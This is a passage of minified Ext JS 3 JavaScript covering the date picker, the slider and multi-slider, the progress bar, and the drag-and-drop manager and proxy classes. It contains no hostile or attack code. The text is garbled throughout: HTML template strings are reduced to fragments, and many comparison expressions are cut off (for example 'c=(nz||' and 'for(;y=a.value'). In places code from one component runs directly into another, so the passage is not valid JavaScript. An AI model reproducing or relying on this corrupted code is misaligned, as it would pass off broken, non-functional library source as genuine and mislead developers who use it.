years)",startDay:0,showToday:true,focusOnSelect:true,initHour:12,initComponent:function(){Ext.DatePicker.superclass.initComponent.call(this);this.value=this.value?this.value.clearTime(true):new Date().clearTime();this.addEvents("select");if(this.handler){this.on("select",this.handler,this.scope||this)}this.initDisabledDays()},initDisabledDays:function(){if(!this.disabledDatesRE&&this.disabledDates){var b=this.disabledDates,a=b.length-1,c="(?:";Ext.each(b,function(g,e){c+=Ext.isDate(g)?"^"+Ext.escapeRe(g.dateFormat(this.format))+"$":b[e];if(e!=a){c+="|"}},this);this.disabledDatesRE=new RegExp(c+")")}},setDisabledDates:function(a){if(Ext.isArray(a)){this.disabledDates=a;this.disabledDatesRE=null}else{this.disabledDatesRE=a}this.initDisabledDays();this.update(this.value,true)},setDisabledDays:function(a){this.disabledDays=a;this.update(this.value,true)},setMinDate:function(a){this.minDate=a;this.update(this.value,true)},setMaxDate:function(a){this.maxDate=a;this.update(this.value,true)},setValue:function(a){this.value=a.clearTime(true);this.update(this.value)},getValue:function(){return this.value},focus:function(){this.update(this.activeDate)},onEnable:function(a){Ext.DatePicker.superclass.onEnable.call(this);this.doDisabled(false);this.update(a?this.value:this.activeDate);if(Ext.isIE){this.el.repaint()}},onDisable:function(){Ext.DatePicker.superclass.onDisable.call(this);this.doDisabled(true);if(Ext.isIE&&!Ext.isIE8){Ext.each([].concat(this.textNodes,this.el.query("th span")),function(a){Ext.fly(a).repaint()})}},doDisabled:function(a){this.keyNav.setDisabled(a);this.prevRepeater.setDisabled(a);this.nextRepeater.setDisabled(a);if(this.showToday){this.todayKeyListener.setDisabled(a);this.todayBtn.setDisabled(a)}},onRender:function(e,b){var a=['','','",this.showToday?'':"",'
      
    '],c=this.dayNames,h;for(h=0;h<7;h++){var l=this.startDay+h;if(l>6){l=l-7}a.push("")}a[a.length]="";for(h=0;h<42;h++){if(h%7===0&&h!==0){a[a.length]=""}a[a.length]=''}a.push("
    ",c[l].substr(0,1),"
    ');var k=document.createElement("div");k.className="x-date-picker";k.innerHTML=a.join("");e.dom.insertBefore(k,b);this.el=Ext.get(k);this.eventEl=Ext.get(k.firstChild);this.prevRepeater=new Ext.util.ClickRepeater(this.el.child("td.x-date-left a"),{handler:this.showPrevMonth,scope:this,preventDefault:true,stopDefault:true});this.nextRepeater=new Ext.util.ClickRepeater(this.el.child("td.x-date-right a"),{handler:this.showNextMonth,scope:this,preventDefault:true,stopDefault:true});this.monthPicker=this.el.down("div.x-date-mp");this.monthPicker.enableDisplayMode("block");this.keyNav=new Ext.KeyNav(this.eventEl,{left:function(d){if(d.ctrlKey){this.showPrevMonth()}else{this.update(this.activeDate.add("d",-1))}},right:function(d){if(d.ctrlKey){this.showNextMonth()}else{this.update(this.activeDate.add("d",1))}},up:function(d){if(d.ctrlKey){this.showNextYear()}else{this.update(this.activeDate.add("d",-7))}},down:function(d){if(d.ctrlKey){this.showPrevYear()}else{this.update(this.activeDate.add("d",7))}},pageUp:function(d){this.showNextMonth()},pageDown:function(d){this.showPrevMonth()},enter:function(d){d.stopPropagation();return true},scope:this});this.el.unselectable();this.cells=this.el.select("table.x-date-inner tbody td");this.textNodes=this.el.query("table.x-date-inner tbody span");this.mbtn=new Ext.Button({text:" ",tooltip:this.monthYearText,renderTo:this.el.child("td.x-date-middle",true)});this.mbtn.el.child("em").addClass("x-btn-arrow");if(this.showToday){this.todayKeyListener=this.eventEl.addKeyListener(Ext.EventObject.SPACE,this.selectToday,this);var g=(new Date()).dateFormat(this.format);this.todayBtn=new Ext.Button({renderTo:this.el.child("td.x-date-bottom",true),text:String.format(this.todayText,g),tooltip:String.format(this.todayTip,g),handler:this.selectToday,scope:this})}this.mon(this.eventEl,"mousewheel",this.handleMouseWheel,this);this.mon(this.eventEl,"click",this.handleDateClick,this,{delegate:"a.x-date-date"});this.mon(this.mbtn,"click",this.showMonthPicker,this);this.onEnable(true)},createMonthPicker:function(){if(!this.monthPicker.dom.firstChild){var a=[''];for(var b=0;b<6;b++){a.push('",'",b===0?'':'')}a.push('","
    ',Date.getShortMonthName(b),"',Date.getShortMonthName(b+6),"
    ");this.monthPicker.update(a.join(""));this.mon(this.monthPicker,"click",this.onMonthClick,this);this.mon(this.monthPicker,"dblclick",this.onMonthDblClick,this);this.mpMonths=this.monthPicker.select("td.x-date-mp-month");this.mpYears=this.monthPicker.select("td.x-date-mp-year");this.mpMonths.each(function(c,d,e){e+=1;if((e%2)===0){c.dom.xmonth=5+Math.round(e*0.5)}else{c.dom.xmonth=Math.round((e-1)*0.5)}})}},showMonthPicker:function(){if(!this.disabled){this.createMonthPicker();var a=this.el.getSize();this.monthPicker.setSize(a);this.monthPicker.child("table").setSize(a);this.mpSelMonth=(this.activeDate||this.value).getMonth();this.updateMPMonth(this.mpSelMonth);this.mpSelYear=(this.activeDate||this.value).getFullYear();this.updateMPYear(this.mpSelYear);this.monthPicker.slideIn("t",{duration:0.2})}},updateMPYear:function(e){this.mpyear=e;var c=this.mpYears.elements;for(var b=1;b<=10;b++){var d=c[b-1],a;if((b%2)===0){a=e+Math.round(b*0.5);d.firstChild.innerHTML=a;d.xyear=a}else{a=e-(5-Math.round(b*0.5));d.firstChild.innerHTML=a;d.xyear=a}this.mpYears.item(b-1)[a==this.mpSelYear?"addClass":"removeClass"]("x-date-mp-sel")}},updateMPMonth:function(a){this.mpMonths.each(function(b,c,d){b[b.dom.xmonth==a?"addClass":"removeClass"]("x-date-mp-sel")})},selectMPMonth:function(a){},onMonthClick:function(g,b){g.stopEvent();var c=new Ext.Element(b),a;if(c.is("button.x-date-mp-cancel")){this.hideMonthPicker()}else{if(c.is("button.x-date-mp-ok")){var h=new Date(this.mpSelYear,this.mpSelMonth,(this.activeDate||this.value).getDate());if(h.getMonth()!=this.mpSelMonth){h=new Date(this.mpSelYear,this.mpSelMonth,1).getLastDateOfMonth()}this.update(h);this.hideMonthPicker()}else{if((a=c.up("td.x-date-mp-month",2))){this.mpMonths.removeClass("x-date-mp-sel");a.addClass("x-date-mp-sel");this.mpSelMonth=a.dom.xmonth}else{if((a=c.up("td.x-date-mp-year",2))){this.mpYears.removeClass("x-date-mp-sel");a.addClass("x-date-mp-sel");this.mpSelYear=a.dom.xyear}else{if(c.is("a.x-date-mp-prev")){this.updateMPYear(this.mpyear-10)}else{if(c.is("a.x-date-mp-next")){this.updateMPYear(this.mpyear+10)}}}}}}},onMonthDblClick:function(d,b){d.stopEvent();var c=new Ext.Element(b),a;if((a=c.up("td.x-date-mp-month",2))){this.update(new Date(this.mpSelYear,a.dom.xmonth,(this.activeDate||this.value).getDate()));this.hideMonthPicker()}else{if((a=c.up("td.x-date-mp-year",2))){this.update(new Date(a.dom.xyear,this.mpSelMonth,(this.activeDate||this.value).getDate()));this.hideMonthPicker()}}},hideMonthPicker:function(a){if(this.monthPicker){if(a===true){this.monthPicker.hide()}else{this.monthPicker.slideOut("t",{duration:0.2})}}},showPrevMonth:function(a){this.update(this.activeDate.add("mo",-1))},showNextMonth:function(a){this.update(this.activeDate.add("mo",1))},showPrevYear:function(){this.update(this.activeDate.add("y",-1))},showNextYear:function(){this.update(this.activeDate.add("y",1))},handleMouseWheel:function(a){a.stopEvent();if(!this.disabled){var b=a.getWheelDelta();if(b>0){this.showPrevMonth()}else{if(b<0){this.showNextMonth()}}}},handleDateClick:function(b,a){b.stopEvent();if(!this.disabled&&a.dateValue&&!Ext.fly(a.parentNode).hasClass("x-date-disabled")){this.cancelFocus=this.focusOnSelect===false;this.setValue(new Date(a.dateValue));delete this.cancelFocus;this.fireEvent("select",this,this.value)}},selectToday:function(){if(this.todayBtn&&!this.todayBtn.disabled){this.setValue(new Date().clearTime());this.fireEvent("select",this,this.value)}},update:function(H,B){if(this.rendered){var a=this.activeDate,q=this.isVisible();this.activeDate=H;if(!B&&a&&this.el){var p=H.getTime();if(a.getMonth()==H.getMonth()&&a.getFullYear()==H.getFullYear()){this.cells.removeClass("x-date-selected");this.cells.each(function(d){if(d.dom.firstChild.dateValue==p){d.addClass("x-date-selected");if(q&&!this.cancelFocus){Ext.fly(d.dom.firstChild).focus(50)}return false}},this);return}}var l=H.getDaysInMonth(),r=H.getFirstDateOfMonth(),g=r.getDay()-this.startDay;if(g<0){g+=7}l+=g;var C=H.add("mo",-1),h=C.getDaysInMonth()-g,e=this.cells.elements,s=this.textNodes,E=(new Date(C.getFullYear(),C.getMonth(),h,this.initHour)),D=new Date().clearTime().getTime(),x=H.clearTime(true).getTime(),v=this.minDate?this.minDate.clearTime(true):Number.NEGATIVE_INFINITY,z=this.maxDate?this.maxDate.clearTime(true):Number.POSITIVE_INFINITY,G=this.disabledDatesRE,u=this.disabledDatesText,J=this.disabledDays?this.disabledDays.join(""):false,F=this.disabledDaysText,A=this.format;if(this.showToday){var n=new Date().clearTime(),c=(nz||(G&&A&&G.test(n.dateFormat(A)))||(J&&J.indexOf(n.getDay())!=-1));if(!this.disabled){this.todayBtn.setDisabled(c);this.todayKeyListener[c?"disable":"enable"]()}}var m=function(K,d){d.title="";var i=E.clearTime(true).getTime();d.firstChild.dateValue=i;if(i==D){d.className+=" x-date-today";d.title=K.todayText}if(i==x){d.className+=" x-date-selected";if(q){Ext.fly(d.firstChild).focus(50)}}if(iz){d.className=" x-date-disabled";d.title=K.maxText;return}if(J){if(J.indexOf(E.getDay())!=-1){d.title=F;d.className=" x-date-disabled"}}if(G&&A){var w=E.dateFormat(A);if(G.test(w)){d.title=u.replace("%0",w);d.className=" x-date-disabled"}}};var y=0;for(;y=a.value){d=a.value}}c.setValue(b,d,false);c.fireEvent("drag",c,g,this)},getNewValue:function(){var a=this.slider,b=a.innerEl.translatePoints(this.tracker.getXY());return Ext.util.Format.round(a.reverseValue(b.left),a.decimalPrecision)},onDragEnd:function(c){var a=this.slider,b=this.value;this.el.removeClass("x-slider-thumb-drag");this.dragging=false;a.fireEvent("dragend",a,c);if(this.dragStartValue!=b){a.fireEvent("changecomplete",a,b,this)}},destroy:function(){Ext.destroyMembers(this,"tracker","el")}});Ext.slider.MultiSlider=Ext.extend(Ext.BoxComponent,{vertical:false,minValue:0,maxValue:100,decimalPrecision:0,keyIncrement:1,increment:0,clickRange:[5,15],clickToChange:true,animate:true,constrainThumbs:true,topThumbZIndex:10000,initComponent:function(){if(!Ext.isDefined(this.value)){this.value=this.minValue}this.thumbs=[];Ext.slider.MultiSlider.superclass.initComponent.call(this);this.keyIncrement=Math.max(this.increment,this.keyIncrement);this.addEvents("beforechange","change","changecomplete","dragstart","drag","dragend");if(this.values==undefined||Ext.isEmpty(this.values)){this.values=[0]}var a=this.values;for(var b=0;bthis.clickRange[0]&&c.top=c){d+=c}else{if(a*2<-c){d-=c}}}return d.constrain(this.minValue,this.maxValue)},afterRender:function(){Ext.slider.MultiSlider.superclass.afterRender.apply(this,arguments);for(var c=0;ce?e:c.value}this.syncThumb()},setValue:function(d,c,b,g){var a=this.thumbs[d],e=a.el;c=this.normalizeValue(c);if(c!==a.value&&this.fireEvent("beforechange",this,c,a.value,a)!==false){a.value=c;if(this.rendered){this.moveThumb(d,this.translateValue(c),b!==false);this.fireEvent("change",this,c,a);if(g){this.fireEvent("changecomplete",this,c,a)}}}},translateValue:function(a){var b=this.getRatio();return(a*b)-(this.minValue*b)-this.halfThumb},reverseValue:function(b){var a=this.getRatio();return(b+(this.minValue*a))/a},moveThumb:function(d,c,b){var a=this.thumbs[d].el;if(!b||this.animate===false){a.setLeft(c)}else{a.shift({left:c,stopFx:true,duration:0.35})}},focus:function(){this.focusEl.focus(10)},onResize:function(c,e){var b=this.thumbs,a=b.length,d=0;for(;dthis.clickRange[0]&&c.left','
    ','
    ','
    ',"
     
    ","
    ","
    ",'
    ',"
     
    ","
    ","
    ","");this.el=a?c.insertBefore(a,{cls:this.baseCls},true):c.append(d,{cls:this.baseCls},true);if(this.id){this.el.dom.id=this.id}var b=this.el.dom.firstChild;this.progressBar=Ext.get(b.firstChild);if(this.textEl){this.textEl=Ext.get(this.textEl);delete this.textTopEl}else{this.textTopEl=Ext.get(this.progressBar.dom.firstChild);var e=Ext.get(b.childNodes[1]);this.textTopEl.setStyle("z-index",99).addClass("x-hidden");this.textEl=new Ext.CompositeElement([this.textTopEl.dom.firstChild,e.dom.firstChild]);this.textEl.setWidth(b.offsetWidth)}this.progressBar.setHeight(b.offsetHeight)},afterRender:function(){Ext.ProgressBar.superclass.afterRender.call(this);if(this.value){this.updateProgress(this.value,this.text)}else{this.updateText(this.text)}},updateProgress:function(c,d,b){this.value=c||0;if(d){this.updateText(d)}if(this.rendered&&!this.isDestroyed){var a=Math.floor(c*this.el.dom.firstChild.offsetWidth);this.progressBar.setWidth(a,b===true||(b!==false&&this.animate));if(this.textTopEl){this.textTopEl.removeClass("x-hidden").setWidth(a)}}this.fireEvent("update",this,c,d);return this},wait:function(b){if(!this.waitTimer){var a=this;b=b||{};this.updateText(b.text);this.waitTimer=Ext.TaskMgr.start({run:function(c){var d=b.increment||10;c-=1;this.updateProgress(((((c+d)%d)+1)*(100/d))*0.01,null,b.animate)},interval:b.interval||1000,duration:b.duration,onStop:function(){if(b.fn){b.fn.apply(b.scope||this)}this.reset()},scope:a})}return this},isWaiting:function(){return this.waitTimer!==null},updateText:function(a){this.text=a||" ";if(this.rendered){this.textEl.update(this.text)}return this},syncProgressBar:function(){if(this.value){this.updateProgress(this.value,this.text)}return this},setSize:function(a,c){Ext.ProgressBar.superclass.setSize.call(this,a,c);if(this.textTopEl){var b=this.el.dom.firstChild;this.textEl.setSize(b.offsetWidth,b.offsetHeight)}this.syncProgressBar();return this},reset:function(a){this.updateProgress(0);if(this.textTopEl){this.textTopEl.addClass("x-hidden")}this.clearTimer();if(a===true){this.hide()}return this},clearTimer:function(){if(this.waitTimer){this.waitTimer.onStop=null;Ext.TaskMgr.stop(this.waitTimer);this.waitTimer=null}},onDestroy:function(){this.clearTimer();if(this.rendered){if(this.textEl.isComposite){this.textEl.clear()}Ext.destroyMembers(this,"textEl","progressBar","textTopEl")}Ext.ProgressBar.superclass.onDestroy.call(this)}});Ext.reg("progress",Ext.ProgressBar);(function(){var a=Ext.EventManager;var b=Ext.lib.Dom;Ext.dd.DragDrop=function(e,c,d){if(e){this.init(e,c,d)}};Ext.dd.DragDrop.prototype={id:null,config:null,dragElId:null,handleElId:null,invalidHandleTypes:null,invalidHandleIds:null,invalidHandleClasses:null,startPageX:0,startPageY:0,groups:null,locked:false,lock:function(){this.locked=true},moveOnly:false,unlock:function(){this.locked=false},isTarget:true,padding:null,_domRef:null,__ygDragDrop:true,constrainX:false,constrainY:false,minX:0,maxX:0,minY:0,maxY:0,maintainOffset:false,xTicks:null,yTicks:null,primaryButtonOnly:true,available:false,hasOuterHandles:false,b4StartDrag:function(c,d){},startDrag:function(c,d){},b4Drag:function(c){},onDrag:function(c){},onDragEnter:function(c,d){},b4DragOver:function(c){},onDragOver:function(c,d){},b4DragOut:function(c){},onDragOut:function(c,d){},b4DragDrop:function(c){},onDragDrop:function(c,d){},onInvalidDrop:function(c){},b4EndDrag:function(c){},endDrag:function(c){},b4MouseDown:function(c){},onMouseDown:function(c){},onMouseUp:function(c){},onAvailable:function(){},defaultPadding:{left:0,right:0,top:0,bottom:0},constrainTo:function(k,h,p){if(Ext.isNumber(h)){h={left:h,right:h,top:h,bottom:h}}h=h||this.defaultPadding;var m=Ext.get(this.getEl()).getBox(),d=Ext.get(k),o=d.getScroll(),l,e=d.dom;if(e==document.body){l={x:o.left,y:o.top,width:Ext.lib.Dom.getViewWidth(),height:Ext.lib.Dom.getViewHeight()}}else{var n=d.getXY();l={x:n[0],y:n[1],width:e.clientWidth,height:e.clientHeight}}var i=m.y-l.y,g=m.x-l.x;this.resetConstraints();this.setXConstraint(g-(h.left||0),l.width-g-m.width-(h.right||0),this.xTickSize);this.setYConstraint(i-(h.top||0),l.height-i-m.height-(h.bottom||0),this.yTickSize)},getEl:function(){if(!this._domRef){this._domRef=Ext.getDom(this.id)}return this._domRef},getDragEl:function(){return Ext.getDom(this.dragElId)},init:function(e,c,d){this.initTarget(e,c,d);a.on(this.id,"mousedown",this.handleMouseDown,this)},initTarget:function(e,c,d){this.config=d||{};this.DDM=Ext.dd.DDM;this.groups={};if(typeof e!=="string"){e=Ext.id(e)}this.id=e;this.addToGroup((c)?c:"default");this.handleElId=e;this.setDragElId(e);this.invalidHandleTypes={A:"A"};this.invalidHandleIds={};this.invalidHandleClasses=[];this.applyConfig();this.handleOnAvailable()},applyConfig:function(){this.padding=this.config.padding||[0,0,0,0];this.isTarget=(this.config.isTarget!==false);this.maintainOffset=(this.config.maintainOffset);this.primaryButtonOnly=(this.config.primaryButtonOnly!==false)},handleOnAvailable:function(){this.available=true;this.resetConstraints();this.onAvailable()},setPadding:function(e,c,g,d){if(!c&&0!==c){this.padding=[e,e,e,e]}else{if(!g&&0!==g){this.padding=[e,c,e,c]}else{this.padding=[e,c,g,d]}}},setInitPosition:function(g,e){var h=this.getEl();if(!this.DDM.verifyEl(h)){return}var d=g||0;var c=e||0;var i=b.getXY(h);this.initPageX=i[0]-d;this.initPageY=i[1]-c;this.lastPageX=i[0];this.lastPageY=i[1];this.setStartPosition(i)},setStartPosition:function(d){var c=d||b.getXY(this.getEl());this.deltaSetXY=null;this.startPageX=c[0];this.startPageY=c[1]},addToGroup:function(c){this.groups[c]=true;this.DDM.regDragDrop(this,c)},removeFromGroup:function(c){if(this.groups[c]){delete this.groups[c]}this.DDM.removeDDFromGroup(this,c)},setDragElId:function(c){this.dragElId=c},setHandleElId:function(c){if(typeof c!=="string"){c=Ext.id(c)}this.handleElId=c;this.DDM.regHandle(this.id,c)},setOuterHandleElId:function(c){if(typeof c!=="string"){c=Ext.id(c)}a.on(c,"mousedown",this.handleMouseDown,this);this.setHandleElId(c);this.hasOuterHandles=true},unreg:function(){a.un(this.id,"mousedown",this.handleMouseDown);this._domRef=null;this.DDM._remove(this)},destroy:function(){this.unreg()},isLocked:function(){return(this.DDM.isLocked()||this.locked)},handleMouseDown:function(g,d){if(this.primaryButtonOnly&&g.button!=0){return}if(this.isLocked()){return}this.DDM.refreshCache(this.groups);var c=new Ext.lib.Point(Ext.lib.Event.getPageX(g),Ext.lib.Event.getPageY(g));if(!this.hasOuterHandles&&!this.DDM.isOverTarget(c,this)){}else{if(this.clickValidator(g)){this.setStartPosition();this.b4MouseDown(g);this.onMouseDown(g);this.DDM.handleMouseDown(g,this);this.DDM.stopEvent(g)}else{}}},clickValidator:function(d){var c=d.getTarget();return(this.isValidHandleChild(c)&&(this.id==this.handleElId||this.DDM.handleWasClicked(c,this.id)))},addInvalidHandleType:function(c){var d=c.toUpperCase();this.invalidHandleTypes[d]=d},addInvalidHandleId:function(c){if(typeof c!=="string"){c=Ext.id(c)}this.invalidHandleIds[c]=c},addInvalidHandleClass:function(c){this.invalidHandleClasses.push(c)},removeInvalidHandleType:function(c){var d=c.toUpperCase();delete this.invalidHandleTypes[d]},removeInvalidHandleId:function(c){if(typeof c!=="string"){c=Ext.id(c)}delete this.invalidHandleIds[c]},removeInvalidHandleClass:function(d){for(var e=0,c=this.invalidHandleClasses.length;e=this.minX;d=d-c){if(!e[d]){this.xTicks[this.xTicks.length]=d;e[d]=true}}for(d=this.initPageX;d<=this.maxX;d=d+c){if(!e[d]){this.xTicks[this.xTicks.length]=d;e[d]=true}}this.xTicks.sort(this.DDM.numericSort)},setYTicks:function(g,c){this.yTicks=[];this.yTickSize=c;var e={};for(var d=this.initPageY;d>=this.minY;d=d-c){if(!e[d]){this.yTicks[this.yTicks.length]=d;e[d]=true}}for(d=this.initPageY;d<=this.maxY;d=d+c){if(!e[d]){this.yTicks[this.yTicks.length]=d;e[d]=true}}this.yTicks.sort(this.DDM.numericSort)},setXConstraint:function(e,d,c){this.leftConstraint=e;this.rightConstraint=d;this.minX=this.initPageX-e;this.maxX=this.initPageX+d;if(c){this.setXTicks(this.initPageX,c)}this.constrainX=true},clearConstraints:function(){this.constrainX=false;this.constrainY=false;this.clearTicks()},clearTicks:function(){this.xTicks=null;this.yTicks=null;this.xTickSize=0;this.yTickSize=0},setYConstraint:function(c,e,d){this.topConstraint=c;this.bottomConstraint=e;this.minY=this.initPageY-c;this.maxY=this.initPageY+e;if(d){this.setYTicks(this.initPageY,d)}this.constrainY=true},resetConstraints:function(){if(this.initPageX||this.initPageX===0){var d=(this.maintainOffset)?this.lastPageX-this.initPageX:0;var c=(this.maintainOffset)?this.lastPageY-this.initPageY:0;this.setInitPosition(d,c)}else{this.setInitPosition()}if(this.constrainX){this.setXConstraint(this.leftConstraint,this.rightConstraint,this.xTickSize)}if(this.constrainY){this.setYConstraint(this.topConstraint,this.bottomConstraint,this.yTickSize)}},getTick:function(l,g){if(!g){return l}else{if(g[0]>=l){return g[0]}else{for(var d=0,c=g.length;d=l){var k=l-g[d];var h=g[e]-l;return(h>k)?g[d]:g[e]}}return g[g.length-1]}}},toString:function(){return("DragDrop "+this.id)}}})();if(!Ext.dd.DragDropMgr){Ext.dd.DragDropMgr=function(){var a=Ext.EventManager;return{ids:{},handleIds:{},dragCurrent:null,dragOvers:{},deltaX:0,deltaY:0,preventDefault:true,stopPropagation:true,initialized:false,locked:false,init:function(){this.initialized=true},POINT:0,INTERSECT:1,mode:0,_execOnAll:function(d,c){for(var e in this.ids){for(var b in this.ids[e]){var g=this.ids[e][b];if(!this.isTypeOfDD(g)){continue}g[d].apply(g,c)}}},_onLoad:function(){this.init();a.on(document,"mouseup",this.handleMouseUp,this,true);a.on(document,"mousemove",this.handleMouseMove,this,true);a.on(window,"unload",this._onUnload,this,true);a.on(window,"resize",this._onResize,this,true)},_onResize:function(b){this._execOnAll("resetConstraints",[])},lock:function(){this.locked=true},unlock:function(){this.locked=false},isLocked:function(){return this.locked},locationCache:{},useCache:true,clickPixelThresh:3,clickTimeThresh:350,dragThreshMet:false,clickTimeout:null,startX:0,startY:0,regDragDrop:function(c,b){if(!this.initialized){this.init()}if(!this.ids[b]){this.ids[b]={}}this.ids[b][c.id]=c},removeDDFromGroup:function(d,b){if(!this.ids[b]){this.ids[b]={}}var c=this.ids[b];if(c&&c[d.id]){delete c[d.id]}},_remove:function(c){for(var b in c.groups){if(b&&this.ids[b]&&this.ids[b][c.id]){delete this.ids[b][c.id]}}delete this.handleIds[c.id]},regHandle:function(c,b){if(!this.handleIds[c]){this.handleIds[c]={}}this.handleIds[c][b]=b},isDragDrop:function(b){return(this.getDDById(b))?true:false},getRelated:function(h,c){var g=[];for(var e in h.groups){for(var d in this.ids[e]){var b=this.ids[e][d];if(!this.isTypeOfDD(b)){continue}if(!c||b.isTarget){g[g.length]=b}}}return g},isLegalTarget:function(g,e){var c=this.getRelated(g,true);for(var d=0,b=c.length;dthis.clickPixelThresh||b>this.clickPixelThresh){this.startDrag(this.startX,this.startY)}}if(this.dragThreshMet){this.dragCurrent.b4Drag(d);this.dragCurrent.onDrag(d);if(!this.dragCurrent.moveOnly){this.fireEvents(d,false)}}this.stopEvent(d);return true},fireEvents:function(o,p){var r=this.dragCurrent;if(!r||r.isLocked()){return}var s=o.getPoint();var b=[];var g=[];var m=[];var k=[];var d=[];for(var h in this.dragOvers){var c=this.dragOvers[h];if(!this.isTypeOfDD(c)){continue}if(!this.isOverTarget(s,c,this.mode)){g.push(c)}b[h]=true;delete this.dragOvers[h]}for(var q in r.groups){if("string"!=typeof q){continue}for(h in this.ids[q]){var l=this.ids[q][h];if(!this.isTypeOfDD(l)){continue}if(l.isTarget&&!l.isLocked()&&((l!=r)||(r.ignoreSelf===false))){if(this.isOverTarget(s,l,this.mode)){if(p){k.push(l)}else{if(!b[l.id]){d.push(l)}else{m.push(l)}this.dragOvers[l.id]=l}}}}}if(this.mode){if(g.length){r.b4DragOut(o,g);r.onDragOut(o,g)}if(d.length){r.onDragEnter(o,d)}if(m.length){r.b4DragOver(o,m);r.onDragOver(o,m)}if(k.length){r.b4DragDrop(o,k);r.onDragDrop(o,k)}}else{var n=0;for(h=0,n=g.length;h2000){}else{setTimeout(b._addListeners,10);if(document&&document.body){b._timeoutCount+=1}}}},handleWasClicked:function(b,d){if(this.isHandle(d,b.id)){return true}else{var c=b.parentNode;while(c){if(this.isHandle(d,c.id)){return true}else{c=c.parentNode}}}return false}}}();Ext.dd.DDM=Ext.dd.DragDropMgr;Ext.dd.DDM._addListeners()}Ext.dd.DD=function(c,a,b){if(c){this.init(c,a,b)}};Ext.extend(Ext.dd.DD,Ext.dd.DragDrop,{scroll:true,autoOffset:function(c,b){var a=c-this.startPageX;var d=b-this.startPageY;this.setDelta(a,d)},setDelta:function(b,a){this.deltaX=b;this.deltaY=a},setDragElPos:function(c,b){var a=this.getDragEl();this.alignElWithMouse(a,c,b)},alignElWithMouse:function(c,h,g){var e=this.getTargetCoord(h,g);var b=c.dom?c:Ext.fly(c,"_dd");if(!this.deltaSetXY){var i=[e.x,e.y];b.setXY(i);var d=b.getLeft(true);var a=b.getTop(true);this.deltaSetXY=[d-e.x,a-e.y]}else{b.setLeftTop(e.x+this.deltaSetXY[0],e.y+this.deltaSetXY[1])}this.cachePosition(e.x,e.y);this.autoScroll(e.x,e.y,c.offsetHeight,c.offsetWidth);return e},cachePosition:function(b,a){if(b){this.lastPageX=b;this.lastPageY=a}else{var c=Ext.lib.Dom.getXY(this.getEl());this.lastPageX=c[0];this.lastPageY=c[1]}},autoScroll:function(m,l,e,n){if(this.scroll){var o=Ext.lib.Dom.getViewHeight();var b=Ext.lib.Dom.getViewWidth();var q=this.DDM.getScrollTop();var d=this.DDM.getScrollLeft();var k=e+l;var p=n+m;var i=(o+q-l-this.deltaY);var g=(b+d-m-this.deltaX);var c=40;var a=(document.all)?80:30;if(k>o&&i0&&l-qb&&g0&&m-dthis.maxX){a=this.maxX}}if(this.constrainY){if(dthis.maxY){d=this.maxY}}a=this.getTick(a,this.xTicks);d=this.getTick(d,this.yTicks);return{x:a,y:d}},applyConfig:function(){Ext.dd.DD.superclass.applyConfig.call(this);this.scroll=(this.config.scroll!==false)},b4MouseDown:function(a){this.autoOffset(a.getPageX(),a.getPageY())},b4Drag:function(a){this.setDragElPos(a.getPageX(),a.getPageY())},toString:function(){return("DD "+this.id)}});Ext.dd.DDProxy=function(c,a,b){if(c){this.init(c,a,b);this.initFrame()}};Ext.dd.DDProxy.dragElId="ygddfdiv";Ext.extend(Ext.dd.DDProxy,Ext.dd.DD,{resizeFrame:true,centerFrame:false,createFrame:function(){var b=this;var a=document.body;if(!a||!a.firstChild){setTimeout(function(){b.createFrame()},50);return}var d=this.getDragEl();if(!d){d=document.createElement("div");d.id=this.dragElId;var c=d.style;c.position="absolute";c.visibility="hidden";c.cursor="move";c.border="2px solid #aaa";c.zIndex=999;a.insertBefore(d,a.firstChild)}},initFrame:function(){this.createFrame()},applyConfig:function(){Ext.dd.DDProxy.superclass.applyConfig.call(this);this.resizeFrame=(this.config.resizeFrame!==false);this.centerFrame=(this.config.centerFrame);this.setDragElId(this.config.dragElId||Ext.dd.DDProxy.dragElId)},showFrame:function(e,d){var c=this.getEl();var a=this.getDragEl();var b=a.style;this._resizeProxy();if(this.centerFrame){this.setDelta(Math.round(parseInt(b.width,10)/2),Math.round(parseInt(b.height,10)/2))}this.setDragElPos(e,d);Ext.fly(a).show()},_resizeProxy:function(){if(this.resizeFrame){var a=this.getEl();Ext.fly(this.getDragEl()).setSize(a.offsetWidth,a.offsetHeight)}},b4MouseDown:function(b){var a=b.getPageX();var c=b.getPageY();this.autoOffset(a,c);this.setDragElPos(a,c)},b4StartDrag:function(a,b){this.showFrame(a,b)},b4EndDrag:function(a){Ext.fly(this.getDragEl()).hide()},endDrag:function(c){var b=this.getEl();var a=this.getDragEl();a.style.visibility="";this.beforeMove();b.style.visibility="hidden";Ext.dd.DDM.moveToEl(b,a);a.style.visibility="hidden";b.style.visibility="";this.afterDrag()},beforeMove:function(){},afterDrag:function(){},toString:function(){return("DDProxy "+this.id)}});Ext.dd.DDTarget=function(c,a,b){if(c){this.initTarget(c,a,b)}};Ext.extend(Ext.dd.DDTarget,Ext.dd.DragDrop,{getDragEl:Ext.emptyFn,isValidHandleChild:Ext.emptyFn,startDrag:Ext.emptyFn,endDrag:Ext.emptyFn,onDrag:Ext.emptyFn,onDragDrop:Ext.emptyFn,onDragEnter:Ext.emptyFn,onDragOut:Ext.emptyFn,onDragOver:Ext.emptyFn,onInvalidDrop:Ext.emptyFn,onMouseDown:Ext.emptyFn,onMouseUp:Ext.emptyFn,setXConstraint:Ext.emptyFn,setYConstraint:Ext.emptyFn,resetConstraints:Ext.emptyFn,clearConstraints:Ext.emptyFn,clearTicks:Ext.emptyFn,setInitPosition:Ext.emptyFn,setDragElId:Ext.emptyFn,setHandleElId:Ext.emptyFn,setOuterHandleElId:Ext.emptyFn,addInvalidHandleClass:Ext.emptyFn,addInvalidHandleId:Ext.emptyFn,addInvalidHandleType:Ext.emptyFn,removeInvalidHandleClass:Ext.emptyFn,removeInvalidHandleId:Ext.emptyFn,removeInvalidHandleType:Ext.emptyFn,toString:function(){return("DDTarget "+this.id)}});Ext.dd.DragTracker=Ext.extend(Ext.util.Observable,{active:false,tolerance:5,autoStart:false,constructor:function(a){Ext.apply(this,a);this.addEvents("mousedown","mouseup","mousemove","dragstart","dragend","drag");this.dragRegion=new Ext.lib.Region(0,0,0,0);if(this.el){this.initEl(this.el)}Ext.dd.DragTracker.superclass.constructor.call(this,a)},initEl:function(a){this.el=Ext.get(a);a.on("mousedown",this.onMouseDown,this,this.delegate?{delegate:this.delegate}:undefined)},destroy:function(){this.el.un("mousedown",this.onMouseDown,this);delete 